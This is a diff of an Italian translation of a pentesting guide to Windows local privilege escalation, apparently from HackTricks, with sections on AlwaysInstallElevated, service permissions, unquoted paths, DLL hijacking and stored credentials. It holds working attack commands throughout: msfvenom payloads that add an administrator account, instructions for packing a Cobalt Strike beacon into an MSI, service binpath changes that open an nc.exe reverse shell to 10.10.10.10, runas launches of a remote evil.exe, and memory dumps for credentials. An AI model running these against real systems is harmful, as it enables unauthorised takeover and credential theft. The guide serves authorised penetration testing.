[https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated @@ -223,50 +231,50 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** +Se hai una sessione meterpreter puoi automatizzare questa tecnica usando il modulo **`exploit/windows/local/always_install_elevated`** ### PowerUP -Usa il comando `Write-UserAddMSI` di power-up per creare nella directory corrente un file MSI di Windows per elevare i privilegi. Questo script scrive un installer MSI precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GIU): +Usa il comando `Write-UserAddMSI` di power-up per creare nella directory corrente un binario Windows MSI per elevare i privilegi. Questo script genera un installer MSI precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GUI): ``` Write-UserAddMSI ``` -Esegui semplicemente il binario creato per elevare i privilegi. +Esegui il binario creato per elevare i privilegi. ### MSI Wrapper -Leggi questo tutorial per imparare a creare un MSI wrapper usando questi strumenti. Nota che puoi impacchettare un file "**.bat**" se vuoi **solo** **eseguire** **comandi da riga di comando** +Leggi questo tutorial per imparare come creare un MSI Wrapper usando questi strumenti. Nota che puoi incapsulare un file "**.bat**" se vuoi **solo** eseguire delle **linee di comando** {{#ref}} msi-wrapper.md {{#endref}} -### Create MSI with WIX +### Creare un MSI con WIX {{#ref}} create-msi-with-wix.md {{#endref}} -### Create MSI with Visual Studio +### Creare un MSI con Visual Studio -- **Genera** con Cobalt Strike o Metasploit un **nuovo Windows EXE TCP payload** in `C:\privesc\beacon.exe` -- Apri **Visual Studio**, seleziona **Create a new project** e digita "installer" nella casella di ricerca. Seleziona il progetto **Setup Wizard** e clicca **Next**. -- Assegna al progetto un nome, come **AlwaysPrivesc**, usa **`C:\privesc`** come percorso, seleziona **place solution and project in the same directory**, e clicca **Create**. -- Continua a cliccare **Next** fino a raggiungere il passaggio 3 di 4 (scegli i file da includere). Clicca **Add** e seleziona il Beacon payload che hai appena generato. Poi clicca **Finish**. -- Seleziona il progetto **AlwaysPrivesc** in **Solution Explorer** e nelle **Properties**, cambia **TargetPlatform** da **x86** a **x64**. -- Ci sono altre proprietà che puoi modificare, come **Author** e **Manufacturer**, che possono rendere l'app installata più legittima. -- Clicca con il tasto destro sul progetto e seleziona **View > Custom Actions**. -- Clicca con il tasto destro su **Install** e seleziona **Add Custom Action**. -- Fai doppio clic su **Application Folder**, seleziona il file **beacon.exe** e clicca **OK**. Questo garantirà che il beacon payload venga eseguito non appena viene avviato l'installer. -- Sotto le **Custom Action Properties**, imposta **Run64Bit** su **True**. -- Infine, **build it**. -- Se viene mostrato l'avviso `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, assicurati di impostare la piattaforma su x64. +- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**. +- Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**. +- Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**. +- Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**. +- There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate. +- Right-click the project and select **View > Custom Actions**. +- Right-click **Install** and select **Add Custom Action**. +- Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run. +- Under the **Custom Action Properties**, change **Run64Bit** to **True**. +- Finally, **build it**. +- If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. ### Installazione MSI -Per eseguire l'**installazione** del file `.msi` malevolo in **background:** +Per eseguire l'installazione del file `.msi` maligno in background: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` @@ -288,7 +296,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS** è progettato per la **gestione delle password dell'Administrator locale**, garantendo che ogni password sia **unica, randomizzata e regolarmente aggiornata** sui computer uniti a un dominio. Queste password sono memorizzate in modo sicuro in Active Directory e possono essere accessate solo dagli utenti cui sono state concesse autorizzazioni sufficienti tramite ACLs, permettendo loro di visualizzare le password degli admin locali se autorizzati. +**LAPS** è progettato per la **gestione delle password locali dell'Administrator**, garantendo che ogni password sia **unica, randomizzata e aggiornata regolarmente** sui computer uniti a un dominio. Queste password sono memorizzate in modo sicuro in Active Directory e possono essere accessibili solo agli utenti a cui sono stati concessi permessi sufficienti tramite ACLs, permettendo loro di visualizzare le password dell'admin locale se autorizzati. {{#ref}} @@ -297,27 +305,28 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Se attivo, **le password in plain-text vengono memorizzate in LSASS** (Local Security Authority Subsystem Service).\ -[**Maggiori informazioni su WDigest in questa pagina**](../stealing-credentials/credentials-protections.md#wdigest). +Se attivo, **le password in chiaro sono memorizzate in LSASS** (Local Security Authority Subsystem Service).\ +[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -A partire da **Windows 8.1**, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per **bloccare** i tentativi da parte di processi non attendibili di **leggere la sua memoria** o di iniettare codice, aumentando la sicurezza del sistema.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +A partire da **Windows 8.1**, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per **bloccare** i tentativi da parte di processi non affidabili di **leggere la sua memoria** o iniettare codice, aumentando la sicurezza del sistema.\ +[**Maggiori informazioni su LSA Protection qui**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è salvaguardare le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| [**Ulteriori informazioni su Credentials Guard qui.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come pass-the-hash attacks.| [**Maggiori informazioni su Credentials Guard qui.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** vengono autenticate dalla **Local Security Authority** (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di logon di un utente vengono autenticati da un security package registrato, le domain credentials per l'utente vengono tipicamente stabilite.\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** sono autenticate dalla **Local Security Authority** (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di accesso di un utente vengono autenticati da un pacchetto di sicurezza registrato, le domain credentials per l'utente vengono tipicamente create.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials) ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -325,7 +334,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Enumerare Utenti & Gruppi -Dovresti verificare se uno dei gruppi di cui fai parte ha permessi interessanti. +Dovresti verificare se uno dei gruppi a cui appartieni possiede permessi interessanti. ```bash # CMD net users %username% #Me @@ -342,7 +351,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Gruppi privilegiati -Se **appartieni a qualche gruppo privilegiato potresti riuscire a ottenere privilegi elevati**. Scopri i gruppi privilegiati e come abusarne per ottenere privilegi elevati qui: +Se appartieni a un gruppo privilegiato potresti essere in grado di elevare i privilegi. Scopri i gruppi privilegiati e come abusarne qui: {{#ref}} @@ -351,15 +360,15 @@ Se **appartieni a qualche gruppo privilegiato potresti riuscire a ottenere privi ### Manipolazione dei token -**Scopri di più** su cos'è un **token** in questa pagina: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Consulta la pagina seguente per **scoprire token interessanti** e come abusarne: +**Scopri** cos'è un **token** in questa pagina: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Consulta la pagina seguente per **scoprire i token interessanti** e come abusarne: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Utenti loggati / Sessioni +### Utenti connessi / Sessioni ```bash qwinsta klist sessions @@ -381,8 +390,8 @@ powershell -command "Get-Clipboard" ### Permessi di file e cartelle -Prima di tutto, elencando i processi, controlla se ci sono password nella riga di comando del processo.\ -Verifica se puoi **sovrascrivere qualche binary in esecuzione** o se hai permessi di scrittura sulla cartella dei binary per sfruttare possibili [**DLL Hijacking attacks**](dll-hijacking/index.html): +Innanzitutto, quando elenchi i processi, controlla se ci sono password nella linea di comando del processo.\ +Verifica se puoi **sovrascrivere qualche binario in esecuzione** o se hai permessi di scrittura nella cartella dei binari per sfruttare eventuali [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -393,7 +402,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Controlla sempre la presenza di possibili [**electron/cef/chromium debuggers** in esecuzione, potresti abusarne per escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Verifica sempre la possibile presenza di [**electron/cef/chromium debuggers** in esecuzione, potresti abusarne per escalare i privilegi](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Controllo dei permessi dei binari dei processi** ```bash @@ -404,7 +413,7 @@ icacls "%%z" ) ) ``` -**Verifica delle autorizzazioni delle cartelle dei binari dei processi (**[**DLL Hijacking**](dll-hijacking/index.html)**)**) +**Verifica dei permessi delle cartelle che contengono i binari dei processi (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -412,21 +421,21 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### Memory Password mining +### Estrazione di Password dalla memoria -Puoi creare un dump della memoria di un processo in esecuzione usando **procdump** da sysinternals. Servizi come FTP hanno le **credentials in clear text in memory**, prova a effettuare il dump della memoria e leggere le credentials. +Puoi creare un dump della memoria di un processo in esecuzione usando **procdump** di sysinternals. Servizi come FTP hanno le **credentials in clear text nella memoria**; prova a eseguire il dump della memoria e a leggere le credentials. ```bash procdump.exe -accepteula -ma ``` ### Applicazioni GUI insicure -**Applicazioni in esecuzione come SYSTEM possono permettere a un utente di avviare un CMD o esplorare directory.** +**Le applicazioni in esecuzione come SYSTEM possono consentire a un utente di aprire un CMD o di esplorare directory.** -Esempio: "Windows Help and Support" (Windows + F1), cerca "command prompt", fai clic su "Click to open Command Prompt" +Esempio: "Windows Help and Support" (Windows + F1), cerca "prompt dei comandi", clicca su "Clicca per aprire il Prompt dei comandi" ## Servizi -Ottieni un elenco dei servizi: +Ottieni la lista dei servizi: ```bash net start wmic service list brief @@ -439,11 +448,11 @@ Puoi usare **sc** per ottenere informazioni su un servizio ```bash sc qc ``` -Si consiglia di avere il binario **accesschk** di _Sysinternals_ per verificare il livello di privilegi richiesto per ogni servizio. +Si raccomanda di avere il binario **accesschk** da _Sysinternals_ per verificare il livello di privilegi richiesto per ciascun servizio. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -È consigliabile verificare se "Authenticated Users" può modificare qualsiasi servizio: +Si consiglia di verificare se "Authenticated Users" possono modificare qualunque servizio: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -454,7 +463,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### Abilitare il servizio -Se ricevi questo errore (ad esempio con SSDPSRV): +Se compare questo errore (ad esempio con SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ @@ -466,13 +475,13 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Tieni presente che il servizio upnphost dipende da SSDPSRV per funzionare (per XP SP1)** -**Un'altra soluzione a questo problema è eseguire:** +**Un'altra soluzione** a questo problema è eseguire: ``` sc.exe config usosvc start= auto ``` ### **Modificare il percorso del binario del servizio** -Nello scenario in cui il gruppo "Authenticated users" possiede **SERVICE_ALL_ACCESS** su un servizio, è possibile modificare l'eseguibile del servizio. Per modificare ed eseguire **sc**: +Nel caso in cui il gruppo "Authenticated users" possieda **SERVICE_ALL_ACCESS** su un servizio, è possibile modificare il binario eseguibile del servizio. Per modificare ed eseguire **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -480,7 +489,7 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -### Riavviare il servizio +### Riavvia il servizio ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] @@ -488,16 +497,16 @@ net stop [service name] && net start [service name] I privilegi possono essere elevati tramite varie autorizzazioni: - **SERVICE_CHANGE_CONFIG**: Consente la riconfigurazione del binario del servizio. -- **WRITE_DAC**: Permette la riconfigurazione delle autorizzazioni, portando alla possibilità di modificare le configurazioni dei servizi. -- **WRITE_OWNER**: Consente l'acquisizione della proprietà e la riconfigurazione delle autorizzazioni. -- **GENERIC_WRITE**: Eredita la capacità di modificare le configurazioni dei servizi. -- **GENERIC_ALL**: Anche questo eredita la capacità di modificare le configurazioni dei servizi. +- **WRITE_DAC**: Consente la riconfigurazione delle autorizzazioni, portando alla possibilità di modificare le configurazioni del servizio. +- **WRITE_OWNER**: Permette l'acquisizione della proprietà e la riconfigurazione delle autorizzazioni. +- **GENERIC_WRITE**: Eredita la possibilità di modificare le configurazioni del servizio. +- **GENERIC_ALL**: Eredita anch'esso la possibilità di modificare le configurazioni del servizio. -Per il rilevamento e lo sfruttamento di questa vulnerabilità, può essere utilizzato il modulo _exploit/windows/local/service_permissions_. +Per la rilevazione e lo sfruttamento di questa vulnerabilità può essere utilizzato _exploit/windows/local/service_permissions_. ### Permessi deboli dei binari dei servizi -**Verifica se puoi modificare il binario eseguito da un servizio** o se hai **permessi di scrittura sulla cartella** dove si trova il binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +**Verifica se puoi modificare il binario eseguito da un servizio** o se hai **permessi di scrittura sulla cartella** in cui si trova il binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ Puoi ottenere ogni binario eseguito da un servizio usando **wmic** (not in system32) e verificare i tuoi permessi usando **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -513,7 +522,7 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ### Permessi di modifica del registro dei servizi Dovresti verificare se puoi modificare qualsiasi registro dei servizi.\ -Puoi **verificare** i tuoi **permessi** sul **registro** dei servizi facendo: +Puoi **controllare** i tuoi **permessi** su un **registro dei servizi** eseguendo: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -522,16 +531,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Deve essere verificato se **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** possiedono i permessi `FullControl`. Se sì, il binario eseguito dal servizio può essere alterato. +Si dovrebbe verificare se **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** possiedono i permessi `FullControl`. In tal caso, il binario eseguito dal servizio può essere alterato. -Per cambiare il percorso del binario eseguito: +Per cambiare il Path del binario eseguito: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Permessi AppendData/AddSubdirectory del registro dei servizi - -Se hai questo permesso su un registro, significa che **puoi creare sottoregistri da questo**. Nel caso dei Windows services questo è **sufficiente per eseguire codice arbitrario:** +### Services registry AppendData/AddSubdirectory permissions +Se hai questo permesso su un registro significa che **puoi creare sotto-registri a partire da questo**. Nel caso dei Windows services questo è **sufficiente per eseguire codice arbitrario:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -539,15 +547,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -Se il percorso verso un eseguibile non è racchiuso tra virgolette, Windows tenterà di eseguire ogni percorso che termina prima di uno spazio. +Se il percorso verso un eseguibile non è racchiuso tra virgolette, Windows tenterà di eseguire ogni porzione che precede uno spazio. -Ad esempio, per il percorso _C:\Program Files\Some Folder\Service.exe_ Windows tenterà di eseguire: +Per esempio, per il percorso _C:\Program Files\Some Folder\Service.exe_ Windows tenterà di eseguire: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Elenca tutti i percorsi dei servizi non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi Windows integrati: +Elenca tutti i percorsi di servizio non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi integrati di Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -567,19 +575,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Puoi rilevare e sfruttare** questa vulnerabilità con metasploit: `exploit/windows/local/trusted\_service\_path` Puoi creare manualmente un binario di servizio con metasploit: +**Puoi rilevare e sfruttare** questa vulnerabilità con metasploit: `exploit/windows/local/trusted\_service\_path` Puoi creare manualmente un service binary con metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Azioni di ripristino -Windows permette agli utenti di specificare azioni da eseguire se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binary. Se questo binary è sostituibile, potrebbe essere possibile privilege escalation. Maggiori dettagli sono disponibili nella [documentazione ufficiale](). +Windows consente agli utenti di specificare azioni da intraprendere se un servizio si arresta. Questa funzionalità può essere configurata per puntare a un eseguibile. Se questo eseguibile è sostituibile, potrebbe essere possibile una escalation dei privilegi. Maggiori dettagli si trovano nella [official documentation](). ## Applicazioni ### Applicazioni installate -Controlla i **permessi dei binaries** (potresti riuscire a sovrascriverne uno e ottenere privilege escalation) e delle **cartelle** ([DLL Hijacking](dll-hijacking/index.html)). +Verifica i **permessi degli eseguibili** (potresti riuscire a sovrascriverne uno e ottenere una escalation dei privilegi) e delle **cartelle** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -590,9 +598,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Permessi di scrittura -Verifica se puoi modificare qualche file di configurazione per leggere un file particolare o se puoi modificare un binario che verrà eseguito da un account Administrator (schedtasks). +Verifica se puoi modificare qualche file di configurazione per leggere un file speciale o se puoi modificare qualche binario che verrà eseguito da un account Administrator (schedtasks). -Un modo per trovare permessi deboli su cartelle/file nel sistema è eseguire: +Un modo per trovare permessi deboli su cartelle/file nel sistema è: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -617,8 +625,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Esecuzione all'avvio -**Controlla se puoi sovrascrivere qualche registro o binario che verrà eseguito da un utente diverso.**\ -**Leggi** la **pagina seguente** per saperne di più sulle interessanti **autoruns locations to escalate privileges**: +**Verifica se puoi sovrascrivere qualche registry o binary che verrà eseguito da un diverso user.**\ +**Leggi** la **pagina seguente** per saperne di più su interessanti **autoruns locations to escalate privileges**: {{#ref}} @@ -627,13 +635,13 @@ privilege-escalation-with-autorun-binaries.md ### Driver -Cerca possibili **driver di terze parti strani/vulnerabili** +Cerca possibili **third party weird/vulnerable** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Se un driver espone un arbitrary kernel read/write primitive (comune in IOCTL handlers mal progettati), puoi ottenere l'escalation dei privilegi rubando un SYSTEM token direttamente dalla kernel memory. Vedi la tecnica passo‑passo qui: +Se un driver espone un arbitrary kernel read/write primitive (comune in IOCTL handlers progettati male), puoi ottenere l'elevazione dei privilegi rubando un SYSTEM token direttamente dalla memoria del kernel. Vedi la tecnica passo‑passo qui: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -642,13 +650,13 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Se hai **permessi di scrittura in una cartella presente in PATH** potresti riuscire a dirottare una DLL caricata da un processo e **elevare i privilegi**. +Se hai **write permissions inside a folder present on PATH** potresti essere in grado di hijack una DLL caricata da un processo e **escalate privileges**. Controlla i permessi di tutte le cartelle presenti in PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Per maggiori informazioni su come sfruttare questo controllo: +Per ulteriori informazioni su come abusare di questo controllo: {{#ref}} @@ -667,7 +675,7 @@ net share #Check current shares ``` ### hosts file -Verificare la presenza di altri computer noti hardcoded nel hosts file +Controlla la presenza di altri computer noti hardcoded nel hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -677,9 +685,9 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Open Ports +### Porte aperte -Controlla la presenza di **servizi ristretti** dall'esterno +Verifica la presenza di **servizi ristretti** dall'esterno ```bash netstat -ano #Opened ports? ``` @@ -693,11 +701,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Firewall Rules +### Regole del Firewall -[**Controlla questa pagina per comandi relativi a Firewall**](../basic-cmd-for-pentesters.md#firewall) **(elencare le regole, creare regole, disattivare, disattivare...)** +[**Consulta questa pagina per i comandi relativi al Firewall**](../basic-cmd-for-pentesters.md#firewall) **(elencare le regole, creare regole, disattivare, disattivare...)** -Altri[ comandi per network enumeration qui](../basic-cmd-for-pentesters.md#network) +Altri [comandi per l'enumerazione della rete qui](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -706,7 +714,7 @@ C:\Windows\System32\wsl.exe ``` Il binario `bash.exe` può anche essere trovato in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Se ottieni root user puoi ascoltare su qualsiasi porta (la prima volta che usi `nc.exe` per ascoltare su una porta ti verrà chiesto tramite GUI se `nc` deve essere consentito dal firewall). +Se ottieni l'accesso come root puoi ascoltare su qualsiasi porta (la prima volta che usi `nc.exe` per ascoltare su una porta ti chiederà tramite GUI se `nc` dovrebbe essere consentito dal firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -715,7 +723,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` Per avviare facilmente bash come root, puoi provare `--default-user root` -Puoi esplorare il filesystem di `WSL` nella cartella `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Puoi esplorare il filesystem `WSL` nella cartella `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Credenziali di Windows @@ -731,16 +739,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Gestore credenziali / Windows vault +### Gestore credenziali / Windows Vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -The Windows Vault memorizza le credenziali degli utenti per server, siti web e altri programmi che **Windows** può **eseguire automaticamente il login degli utenti**y. A prima vista, potrebbe sembrare che gli utenti possano memorizzare le loro credenziali di Facebook, Twitter, Gmail ecc., in modo da effettuare automaticamente l'accesso tramite browser. Ma non è così. +Da [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault memorizza le credenziali utente per server, siti web e altri programmi con cui **Windows** può **effettuare automaticamente il login degli utenti**. A prima vista, potrebbe sembrare che gli utenti possano memorizzare le loro credenziali di Facebook, Twitter, Gmail ecc., in modo da effettuare automaticamente il login tramite i browser. Ma non è così. -Windows Vault memorizza credenziali che Windows può usare per l'accesso automatico degli utenti, il che significa che qualsiasi **applicazione Windows che ha bisogno di credenziali per accedere a una risorsa** (server o un sito web) **può fare uso di questo Credential Manager** & Windows Vault e utilizzare le credenziali fornite invece che gli utenti inseriscano nome utente e password ogni volta. +Windows Vault memorizza credenziali che Windows può usare per effettuare automaticamente il login degli utenti, il che significa che qualsiasi **applicazione Windows che necessita di credenziali per accedere a una risorsa** (server o sito web) **può utilizzare questo Credential Manager** & Windows Vault e impiegare le credenziali fornite invece che gli utenti inseriscano username and password ogni volta. -A meno che le applicazioni non interagiscano con il Credential Manager, non credo sia possibile per loro utilizzare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole sfruttare il vault, dovrebbe in qualche modo **comunicare con il Credential Manager e richiedere le credenziali per quella risorsa** dal vault di archiviazione predefinito. +A meno che le applicazioni non interagiscano con il Credential Manager, non credo sia possibile per esse usare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole utilizzare il vault, dovrebbe in qualche modo **comunicare con il credential manager e richiedere le credenziali per quella risorsa** dal vault di storage predefinito. -Use the `cmdkey` to list the stored credentials on the machine. +Usa il `cmdkey` per elencare le credenziali memorizzate sulla macchina. ```bash cmdkey /list Currently stored credentials: @@ -748,7 +756,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Poi puoi usare `runas` con l'opzione `/savecred` per utilizzare le credenziali salvate. L'esempio seguente esegue un binario remoto tramite una condivisione SMB. +Poi puoi usare `runas` con l'opzione `/savecred` per utilizzare le credenziali salvate. L'esempio seguente chiama un binario remoto tramite una condivisione SMB. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -756,30 +764,30 @@ Usare `runas` con un set di credenziali fornito. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o dal [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -La **Data Protection API (DPAPI)** fornisce un metodo per la crittografia simmetrica dei dati, utilizzata principalmente nel sistema operativo Windows per la crittografia simmetrica delle chiavi private asimmetriche. Questa crittografia sfrutta un segreto dell'utente o del sistema per contribuire in modo significativo all'entropia. +La **Data Protection API (DPAPI)** fornisce un metodo per la cifratura simmetrica dei dati, utilizzata prevalentemente all'interno del sistema operativo Windows per la cifratura simmetrica delle chiavi private asimmetriche. Questa cifratura sfrutta un 